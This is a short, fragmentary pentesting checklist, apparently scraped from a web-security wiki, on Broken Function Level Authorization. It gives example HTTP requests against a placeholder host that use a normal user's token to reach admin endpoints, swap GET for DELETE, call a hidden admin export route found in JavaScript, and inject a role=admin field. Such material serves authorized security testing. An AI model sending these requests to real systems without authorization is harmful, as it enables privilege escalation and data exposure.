Broken Function Level Authorization
Check List
Methodology
Black Box
Vertical Privilege Escalation via Admin Endpoint
1
2
GET /api/admin/users HTTP/1.1
Host: target.com
Authorization: Bearer user_token3
4
5
Privileged Action via HTTP Method Manipulation
1
GET /api/users/1024 HTTP/1.1
Host: target.com
Authorization: Bearer user_token2
DELETE /api/users/1024 HTTP/1.1
Host: target.com
Authorization: Bearer user_token3
4
5
Hidden Admin Endpoint Discovery
1
GET /static/app.js HTTP/1.1
Host: target.com2
/api/v1/admin/export-users3
GET /api/v1/admin/export-users HTTP/1.1
Host: target.com
Authorization: Bearer user_token4
5
Role Parameter Tampering
1
POST /api/settings/update HTTP/1.1
Host: target.com
Authorization: Bearer user_token
Content-Type: application/json
{"feature":"maintenance","enabled":false}2
{"feature":"maintenance","enabled":true,"role":"admin"}3
4
White Box
Cheat Sheet
Last updated